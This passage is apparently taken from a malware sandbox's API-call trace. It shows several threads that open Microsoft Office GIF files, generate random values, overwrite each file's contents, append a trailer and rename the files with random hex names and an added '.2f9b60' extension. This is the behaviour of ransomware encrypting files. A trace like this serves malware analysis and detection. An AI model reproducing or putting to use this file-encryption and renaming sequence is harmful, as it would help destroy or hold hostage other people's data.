Size=0xb4) returned 0x430e40a0 Thread: id = 3890 os_tid = 0xcdc [0229.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15073_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15073_.gif")) returned 0x20 [0230.928] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15073_.GIF", dwFileAttributes=0x20) returned 1 [0231.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15073_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15073_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x337c [0232.189] GetFileSizeEx (in: hFile=0x337c, lpFileSize=0x3698fc20 | out: lpFileSize=0x3698fc20*=390) returned 1 [0232.189] SetFilePointerEx (in: hFile=0x337c, liDistanceToMove=0x182, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.190] ReadFile (in: hFile=0x337c, lpBuffer=0x3698fba0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3698fbe8, lpOverlapped=0x0 | out: lpBuffer=0x3698fba0*, lpNumberOfBytesRead=0x3698fbe8*=0x4, lpOverlapped=0x0) returned 1 [0232.190] SetFilePointerEx (in: hFile=0x337c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.190] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264440 [0232.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202679e0 [0232.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265430 [0232.191] NtQuerySystemTime (in: CurrentTime=0x3698fae0 | out: CurrentTime=0x3698fae0*=132462178361914000) returned 0x0 [0232.191] RtlRandomEx (in: Seed=0x3698fad0 | out: Seed=0x3698fad0) returned 0x5476e5e8 [0232.191] RtlRandomEx (in: Seed=0x3698fad0 | out: Seed=0x3698fad0) returned 0xf9bc99d [0232.191] RtlRandomEx (in: Seed=0x3698fad0 | out: Seed=0x3698fad0) returned 0x6e17d37b [0232.191] RtlRandomEx (in: Seed=0x3698fad0 | out: Seed=0x3698fad0) returned 0xa25719b [0232.191] RtlRandomEx (in: Seed=0x3698fad0 | out: Seed=0x3698fad0) returned 0x4d5984f8 [0232.191] RtlRandomEx (in: Seed=0x3698fad0 | out: Seed=0x3698fad0) returned 0x654c4e9f [0232.191] RtlRandomEx (in: Seed=0x3698fad0 | out: Seed=0x3698fad0) returned 0x6d4527c8 [0232.191] RtlRandomEx (in: Seed=0x3698fad0 | out: Seed=0x3698fad0) returned 0x53c95e3 [0232.191] RtlRandomEx (in: Seed=0x3698fad0 | out: Seed=0x3698fad0) returned 0x798cc14b [0232.191] RtlRandomEx (in: Seed=0x3698fad0 | out: Seed=0x3698fad0) returned 0x6ea6e742 [0232.191] RtlRandomEx (in: Seed=0x3698fad0 | out: Seed=0x3698fad0) returned 0x15e4c29a [0232.191] RtlRandomEx (in: Seed=0x3698fad0 | out: Seed=0x3698fad0) returned 0x667afe71 [0232.191] RtlRandomEx (in: Seed=0x3698fad0 | out: Seed=0x3698fad0) returned 0x7ccc0105 [0232.191] RtlRandomEx (in: Seed=0x3698fad0 | out: Seed=0x3698fad0) returned 0x3309a6b5 [0232.191] RtlRandomEx (in: Seed=0x3698fad0 | out: Seed=0x3698fad0) returned 0x3f3602f0 [0232.192] RtlRandomEx (in: Seed=0x3698fad0 | out: Seed=0x3698fad0) returned 0xae1cd1e [0232.192] RtlRandomEx (in: Seed=0x3698fad0 | out: Seed=0x3698fad0) returned 0x7a1f4bab [0232.192] RtlRandomEx (in: Seed=0x3698fad0 | out: Seed=0x3698fad0) returned 0x495e02dc [0232.192] RtlRandomEx (in: Seed=0x3698fad0 | out: Seed=0x3698fad0) returned 0x470db375 [0232.192] RtlRandomEx (in: Seed=0x3698fad0 | out: Seed=0x3698fad0) returned 0x68098a4b [0232.192] RtlRandomEx (in: Seed=0x3698fad0 | out: Seed=0x3698fad0) returned 0x259dffbd [0232.192] RtlRandomEx (in: Seed=0x3698fad0 | out: Seed=0x3698fad0) returned 0x2cc992 [0232.192] RtlRandomEx (in: Seed=0x3698fad0 | out: Seed=0x3698fad0) returned 0x6337384a [0232.192] RtlRandomEx (in: Seed=0x3698fad0 | out: Seed=0x3698fad0) returned 0x6e17d37b [0232.192] RtlRandomEx (in: Seed=0x3698fad0 | out: Seed=0x3698fad0) returned 0x7afb8d16 [0232.192] RtlRandomEx (in: Seed=0x3698fad0 | out: Seed=0x3698fad0) returned 0xd69d21c [0232.192] RtlRandomEx (in: Seed=0x3698fad0 | out: Seed=0x3698fad0) returned 0x64a81c68 [0232.192] RtlRandomEx (in: Seed=0x3698fad0 | out: Seed=0x3698fad0) returned 0x4b6304f2 [0232.192] RtlRandomEx (in: Seed=0x3698fad0 | out: Seed=0x3698fad0) returned 0x48286046 [0232.192] RtlRandomEx (in: Seed=0x3698fad0 | out: Seed=0x3698fad0) returned 0x4c21e38e [0232.192] RtlRandomEx (in: Seed=0x3698fad0 | out: Seed=0x3698fad0) returned 0xad0d49b [0232.192] RtlRandomEx (in: Seed=0x3698fad0 | out: Seed=0x3698fad0) returned 0x267a7fb6 [0232.199] ReadFile (in: hFile=0x337c, lpBuffer=0x42435d20, nNumberOfBytesToRead=0x186, lpNumberOfBytesRead=0x3698fad0, lpOverlapped=0x0 | out: lpBuffer=0x42435d20*, lpNumberOfBytesRead=0x3698fad0*=0x186, lpOverlapped=0x0) returned 1 [0232.199] SetFilePointerEx (in: hFile=0x337c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.199] WriteFile (in: hFile=0x337c, lpBuffer=0x41f75950*, nNumberOfBytesToWrite=0x186, lpNumberOfBytesWritten=0x3698fad4, lpOverlapped=0x0 | out: lpBuffer=0x41f75950*, lpNumberOfBytesWritten=0x3698fad4*=0x186, lpOverlapped=0x0) returned 1 [0235.552] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a920 [0235.552] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205aad0 [0235.553] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205aad0) returned 1 [0235.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f75950) returned 1 [0235.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42435d20) returned 1 [0235.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c840) returned 1 [0235.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059330) returned 1 [0235.554] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x4205aad0 [0235.555] SetFilePointerEx (in: hFile=0x337c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0235.555] WriteFile (in: hFile=0x337c, lpBuffer=0x431e1fe0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3698fbf0, lpOverlapped=0x0 | out: lpBuffer=0x431e1fe0*, lpNumberOfBytesWritten=0x3698fbf0*=0x10a, lpOverlapped=0x0) returned 1 [0236.842] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bed0 [0236.842] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504f90 [0236.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202673b0 [0236.844] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202673b0) returned 1 [0236.844] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0236.844] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202673b0 [0236.844] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267920 [0236.845] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267920) returned 1 [0236.845] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504f90) returned 1 [0236.846] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bed0) returned 1 [0236.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1ce5d9b0 [0236.846] sprintf (in: _Dest=0x1ce5d9b0, _Format="%c%c" | out: _Dest="31") returned 2 [0236.846] sprintf (in: _Dest=0x1ce5d9b2, _Format="%c%c" | out: _Dest="94") returned 2 [0236.846] sprintf (in: _Dest=0x1ce5d9b4, _Format="%c%c" | out: _Dest="16") returned 2 [0236.846] sprintf (in: _Dest=0x1ce5d9b6, _Format="%c%c" | out: _Dest="6b") returned 2 [0236.846] sprintf (in: _Dest=0x1ce5d9b8, _Format="%c%c" | out: _Dest="c9") returned 2 [0236.846] sprintf (in: _Dest=0x1ce5d9ba, _Format="%c%c" | out: _Dest="28") returned 2 [0236.846] sprintf (in: _Dest=0x1ce5d9bc, _Format="%c%c" | out: _Dest="70") returned 2 [0236.846] sprintf (in: _Dest=0x1ce5d9be, _Format="%c%c" | out: _Dest="72") returned 2 [0236.846] sprintf (in: _Dest=0x1ce5d9c0, _Format="%c%c" | out: _Dest="05") returned 2 [0236.846] sprintf (in: _Dest=0x1ce5d9c2, _Format="%c%c" | out: _Dest="97") returned 2 [0236.847] sprintf (in: _Dest=0x1ce5d9c4, _Format="%c%c" | out: _Dest="51") returned 2 [0236.847] sprintf (in: _Dest=0x1ce5d9c6, _Format="%c%c" | out: _Dest="f4") returned 2 [0236.847] sprintf (in: _Dest=0x1ce5d9c8, _Format="%c%c" | out: _Dest="7e") returned 2 [0236.847] sprintf (in: _Dest=0x1ce5d9ca, _Format="%c%c" | out: _Dest="b1") returned 2 [0236.847] sprintf (in: _Dest=0x1ce5d9cc, _Format="%c%c" | out: _Dest="26") returned 2 [0236.847] sprintf (in: _Dest=0x1ce5d9ce, _Format="%c%c" | out: _Dest="68") returned 2 [0236.847] sprintf (in: _Dest=0x1ce5d9d0, _Format="%c%c" | out: _Dest="55") returned 2 [0236.847] sprintf (in: _Dest=0x1ce5d9d2, _Format="%c%c" | out: _Dest="b1") returned 2 [0236.847] sprintf (in: _Dest=0x1ce5d9d4, _Format="%c%c" | out: _Dest="52") returned 2 [0236.847] sprintf (in: _Dest=0x1ce5d9d6, _Format="%c%c" | out: _Dest="0a") returned 2 [0236.847] sprintf (in: _Dest=0x1ce5d9d8, _Format="%c%c" | out: _Dest="d9") returned 2 [0236.847] sprintf (in: _Dest=0x1ce5d9da, _Format="%c%c" | out: _Dest="40") returned 2 [0236.847] sprintf (in: _Dest=0x1ce5d9dc, _Format="%c%c" | out: _Dest="32") returned 2 [0236.847] sprintf (in: _Dest=0x1ce5d9de, _Format="%c%c" | out: _Dest="8b") returned 2 [0236.847] RtlInitAnsiString (in: DestinationString=0x3698fc68, SourceString="3194166bc9287072059751f47eb1266855b1520ad940328b" | out: DestinationString="3194166bc9287072059751f47eb1266855b1520ad940328b") [0236.847] RtlAnsiStringToUnicodeString (in: DestinationString=0x3698fc38, SourceString="3194166bc9287072059751f47eb1266855b1520ad940328b", AllocateDestinationString=1 | out: DestinationString="3194166bc9287072059751f47eb1266855b1520ad940328b") returned 0x0 [0236.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4310fd00 [0236.848] wcscat (in: _Dest=0x431cbee0, _Source="3194166bc928" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\3194166bc928") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\3194166bc928" [0236.848] wcscat (in: _Dest=0x431cbee0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\3194166bc928.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\3194166bc928.2f9b60" [0236.848] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\3194166bc928.2f9b60", NtPathName=0x3698fc10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\3194166bc928.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x430e42e0 Thread: id = 3891 os_tid = 0xce0 [0229.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15155_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15155_.gif")) returned 0x20 [0230.928] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15155_.GIF", dwFileAttributes=0x20) returned 1 [0231.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15155_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15155_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2a5c [0232.207] GetFileSizeEx (in: hFile=0x2a5c, lpFileSize=0x2fa6f740 | out: lpFileSize=0x2fa6f740*=277) returned 1 [0232.207] SetFilePointerEx (in: hFile=0x2a5c, liDistanceToMove=0x111, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.207] ReadFile (in: hFile=0x2a5c, lpBuffer=0x2fa6f6c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2fa6f708, lpOverlapped=0x0 | out: lpBuffer=0x2fa6f6c0*, lpNumberOfBytesRead=0x2fa6f708*=0x4, lpOverlapped=0x0) returned 1 [0232.208] SetFilePointerEx (in: hFile=0x2a5c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.208] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265430 [0232.208] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202671a0 [0232.209] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266960 [0232.209] NtQuerySystemTime (in: CurrentTime=0x2fa6f600 | out: CurrentTime=0x2fa6f600*=132462178362070000) returned 0x0 [0232.209] RtlRandomEx (in: Seed=0x2fa6f5f0 | out: Seed=0x2fa6f5f0) returned 0x16ec182a [0232.209] RtlRandomEx (in: Seed=0x2fa6f5f0 | out: Seed=0x2fa6f5f0) returned 0x2ac023b4 [0232.209] RtlRandomEx (in: Seed=0x2fa6f5f0 | out: Seed=0x2fa6f5f0) returned 0x374cbd24 [0232.209] RtlRandomEx (in: Seed=0x2fa6f5f0 | out: Seed=0x2fa6f5f0) returned 0x4c9bfea1 [0232.209] RtlRandomEx (in: Seed=0x2fa6f5f0 | out: Seed=0x2fa6f5f0) returned 0x65361b20 [0232.209] RtlRandomEx (in: Seed=0x2fa6f5f0 | out: Seed=0x2fa6f5f0) returned 0x7ccc0105 [0232.209] RtlRandomEx (in: Seed=0x2fa6f5f0 | out: Seed=0x2fa6f5f0) returned 0x2706adb7 [0232.209] RtlRandomEx (in: Seed=0x2fa6f5f0 | out: Seed=0x2fa6f5f0) returned 0xb332d7c [0232.209] RtlRandomEx (in: Seed=0x2fa6f5f0 | out: Seed=0x2fa6f5f0) returned 0x37f2b98c [0232.209] RtlRandomEx (in: Seed=0x2fa6f5f0 | out: Seed=0x2fa6f5f0) returned 0x1096180 [0232.209] RtlRandomEx (in: Seed=0x2fa6f5f0 | out: Seed=0x2fa6f5f0) returned 0x20ca2dba [0232.209] RtlRandomEx (in: Seed=0x2fa6f5f0 | out: Seed=0x2fa6f5f0) returned 0xe8f39ca [0232.209] RtlRandomEx (in: Seed=0x2fa6f5f0 | out: Seed=0x2fa6f5f0) returned 0x79edef8d [0232.209] RtlRandomEx (in: Seed=0x2fa6f5f0 | out: Seed=0x2fa6f5f0) returned 0x731bea14 [0232.209] RtlRandomEx (in: Seed=0x2fa6f5f0 | out: Seed=0x2fa6f5f0) returned 0x5ae40474 [0232.209] RtlRandomEx (in: Seed=0x2fa6f5f0 | out: Seed=0x2fa6f5f0) returned 0x7e7d7d15 [0232.209] RtlRandomEx (in: Seed=0x2fa6f5f0 | out: Seed=0x2fa6f5f0) returned 0x752665a7 [0232.209] RtlRandomEx (in: Seed=0x2fa6f5f0 | out: Seed=0x2fa6f5f0) returned 0x5ac66b71 [0232.209] RtlRandomEx (in: Seed=0x2fa6f5f0 | out: Seed=0x2fa6f5f0) returned 0x187a597c [0232.209] RtlRandomEx (in: Seed=0x2fa6f5f0 | out: Seed=0x2fa6f5f0) returned 0x5ac66b71 [0232.209] RtlRandomEx (in: Seed=0x2fa6f5f0 | out: Seed=0x2fa6f5f0) returned 0x2f54466f [0232.209] RtlRandomEx (in: Seed=0x2fa6f5f0 | out: Seed=0x2fa6f5f0) returned 0x4253210e [0232.209] RtlRandomEx (in: Seed=0x2fa6f5f0 | out: Seed=0x2fa6f5f0) returned 0x5afba325 [0232.209] RtlRandomEx (in: Seed=0x2fa6f5f0 | out: Seed=0x2fa6f5f0) returned 0x1f517e56 [0232.209] RtlRandomEx (in: Seed=0x2fa6f5f0 | out: Seed=0x2fa6f5f0) returned 0xbd1e91b [0232.209] RtlRandomEx (in: Seed=0x2fa6f5f0 | out: Seed=0x2fa6f5f0) returned 0x4c451db3 [0232.209] RtlRandomEx (in: Seed=0x2fa6f5f0 | out: Seed=0x2fa6f5f0) returned 0x9fa98db [0232.209] RtlRandomEx (in: Seed=0x2fa6f5f0 | out: Seed=0x2fa6f5f0) returned 0x44cba35 [0232.209] RtlRandomEx (in: Seed=0x2fa6f5f0 | out: Seed=0x2fa6f5f0) returned 0xa36a54e [0232.209] RtlRandomEx (in: Seed=0x2fa6f5f0 | out: Seed=0x2fa6f5f0) returned 0x21297941 [0232.210] RtlRandomEx (in: Seed=0x2fa6f5f0 | out: Seed=0x2fa6f5f0) returned 0x6eab6774 [0232.210] RtlRandomEx (in: Seed=0x2fa6f5f0 | out: Seed=0x2fa6f5f0) returned 0x45c79e0f [0232.217] ReadFile (in: hFile=0x2a5c, lpBuffer=0x41e4c1b0, nNumberOfBytesToRead=0x115, lpNumberOfBytesRead=0x2fa6f5f0, lpOverlapped=0x0 | out: lpBuffer=0x41e4c1b0*, lpNumberOfBytesRead=0x2fa6f5f0*=0x115, lpOverlapped=0x0) returned 1 [0232.217] SetFilePointerEx (in: hFile=0x2a5c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.217] WriteFile (in: hFile=0x2a5c, lpBuffer=0x41e13cc0*, nNumberOfBytesToWrite=0x115, lpNumberOfBytesWritten=0x2fa6f5f4, lpOverlapped=0x0 | out: lpBuffer=0x41e13cc0*, lpNumberOfBytesWritten=0x2fa6f5f4*=0x115, lpOverlapped=0x0) returned 1 [0235.549] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a5f0 [0235.550] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a650 [0235.550] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a650) returned 1 [0235.550] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e13cc0) returned 1 [0235.551] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e4c1b0) returned 1 [0235.551] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503b90) returned 1 [0235.551] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420591a0) returned 1 [0235.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x4205a650 [0235.552] SetFilePointerEx (in: hFile=0x2a5c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0235.552] WriteFile (in: hFile=0x2a5c, lpBuffer=0x431e1ec0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2fa6f710, lpOverlapped=0x0 | out: lpBuffer=0x431e1ec0*, lpNumberOfBytesWritten=0x2fa6f710*=0x10a, lpOverlapped=0x0) returned 1 [0236.833] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bed0 [0236.834] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504f90 [0236.834] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202652b0 [0236.835] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202652b0) returned 1 [0236.835] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0236.835] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202652b0 [0236.835] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202670b0 [0236.836] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202670b0) returned 1 [0236.837] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504f90) returned 1 [0236.837] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bed0) returned 1 [0236.837] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1ce5d9b0 [0236.838] sprintf (in: _Dest=0x1ce5d9b0, _Format="%c%c" | out: _Dest="e4") returned 2 [0236.838] sprintf (in: _Dest=0x1ce5d9b2, _Format="%c%c" | out: _Dest="4a") returned 2 [0236.838] sprintf (in: _Dest=0x1ce5d9b4, _Format="%c%c" | out: _Dest="f7") returned 2 [0236.838] sprintf (in: _Dest=0x1ce5d9b6, _Format="%c%c" | out: _Dest="a4") returned 2 [0236.838] sprintf (in: _Dest=0x1ce5d9b8, _Format="%c%c" | out: _Dest="97") returned 2 [0236.838] sprintf (in: _Dest=0x1ce5d9ba, _Format="%c%c" | out: _Dest="db") returned 2 [0236.838] sprintf (in: _Dest=0x1ce5d9bc, _Format="%c%c" | out: _Dest="28") returned 2 [0236.838] sprintf (in: _Dest=0x1ce5d9be, _Format="%c%c" | out: _Dest="81") returned 2 [0236.838] sprintf (in: _Dest=0x1ce5d9c0, _Format="%c%c" | out: _Dest="f6") returned 2 [0236.838] sprintf (in: _Dest=0x1ce5d9c2, _Format="%c%c" | out: _Dest="99") returned 2 [0236.838] sprintf (in: _Dest=0x1ce5d9c4, _Format="%c%c" | out: _Dest="9c") returned 2 [0236.838] sprintf (in: _Dest=0x1ce5d9c6, _Format="%c%c" | out: _Dest="4a") returned 2 [0236.838] sprintf (in: _Dest=0x1ce5d9c8, _Format="%c%c" | out: _Dest="b8") returned 2 [0236.838] sprintf (in: _Dest=0x1ce5d9ca, _Format="%c%c" | out: _Dest="ad") returned 2 [0236.838] sprintf (in: _Dest=0x1ce5d9cc, _Format="%c%c" | out: _Dest="d2") returned 2 [0236.838] sprintf (in: _Dest=0x1ce5d9ce, _Format="%c%c" | out: _Dest="68") returned 2 [0236.838] sprintf (in: _Dest=0x1ce5d9d0, _Format="%c%c" | out: _Dest="c2") returned 2 [0236.838] sprintf (in: _Dest=0x1ce5d9d2, _Format="%c%c" | out: _Dest="1b") returned 2 [0236.838] sprintf (in: _Dest=0x1ce5d9d4, _Format="%c%c" | out: _Dest="b2") returned 2 [0236.838] sprintf (in: _Dest=0x1ce5d9d6, _Format="%c%c" | out: _Dest="52") returned 2 [0236.838] sprintf (in: _Dest=0x1ce5d9d8, _Format="%c%c" | out: _Dest="79") returned 2 [0236.838] sprintf (in: _Dest=0x1ce5d9da, _Format="%c%c" | out: _Dest="76") returned 2 [0236.838] sprintf (in: _Dest=0x1ce5d9dc, _Format="%c%c" | out: _Dest="37") returned 2 [0236.838] sprintf (in: _Dest=0x1ce5d9de, _Format="%c%c" | out: _Dest="00") returned 2 [0236.838] RtlInitAnsiString (in: DestinationString=0x2fa6f788, SourceString="e44af7a497db2881f6999c4ab8add268c21bb25279763700" | out: DestinationString="e44af7a497db2881f6999c4ab8add268c21bb25279763700") [0236.838] RtlAnsiStringToUnicodeString (in: DestinationString=0x2fa6f758, SourceString="e44af7a497db2881f6999c4ab8add268c21bb25279763700", AllocateDestinationString=1 | out: DestinationString="e44af7a497db2881f6999c4ab8add268c21bb25279763700") returned 0x0 [0236.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4310fc90 [0236.839] wcscat (in: _Dest=0x431cbe40, _Source="e44af7a497db" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\e44af7a497db") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\e44af7a497db" [0236.839] wcscat (in: _Dest=0x431cbe40, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\e44af7a497db.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\e44af7a497db.2f9b60" [0236.839] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\e44af7a497db.2f9b60", NtPathName=0x2fa6f730, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\e44af7a497db.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x430e4220 Thread: id = 3892 os_tid = 0xc5c [0229.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15156_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15156_.gif")) returned 0x20 [0230.928] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15156_.GIF", dwFileAttributes=0x20) returned 1 [0231.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15156_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15156_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2a48 [0232.228] GetFileSizeEx (in: hFile=0x2a48, lpFileSize=0x2d74fc00 | out: lpFileSize=0x2d74fc00*=323) returned 1 [0232.228] SetFilePointerEx (in: hFile=0x2a48, liDistanceToMove=0x13f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.228] ReadFile (in: hFile=0x2a48, lpBuffer=0x2d74fb80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d74fbc8, lpOverlapped=0x0 | out: lpBuffer=0x2d74fb80*, lpNumberOfBytesRead=0x2d74fbc8*=0x4, lpOverlapped=0x0) returned 1 [0232.229] SetFilePointerEx (in: hFile=0x2a48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.229] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202672c0 [0232.229] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266c60 [0232.230] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266e10 [0232.230] NtQuerySystemTime (in: CurrentTime=0x2d74fac0 | out: CurrentTime=0x2d74fac0*=132462178362226000) returned 0x0 [0232.230] RtlRandomEx (in: Seed=0x2d74fab0 | out: Seed=0x2d74fab0) returned 0x3d0dbeda [0232.230] RtlRandomEx (in: Seed=0x2d74fab0 | out: Seed=0x2d74fab0) returned 0x4498ac80 [0232.230] RtlRandomEx (in: Seed=0x2d74fab0 | out: Seed=0x2d74fab0) returned 0x4f647ddc [0232.230] RtlRandomEx (in: Seed=0x2d74fab0 | out: Seed=0x2d74fab0) returned 0x17f6e2ac [0232.230] RtlRandomEx (in: Seed=0x2d74fab0 | out: Seed=0x2d74fab0) returned 0x5319dd4a [0232.230] RtlRandomEx (in: Seed=0x2d74fab0 | out: Seed=0x2d74fab0) 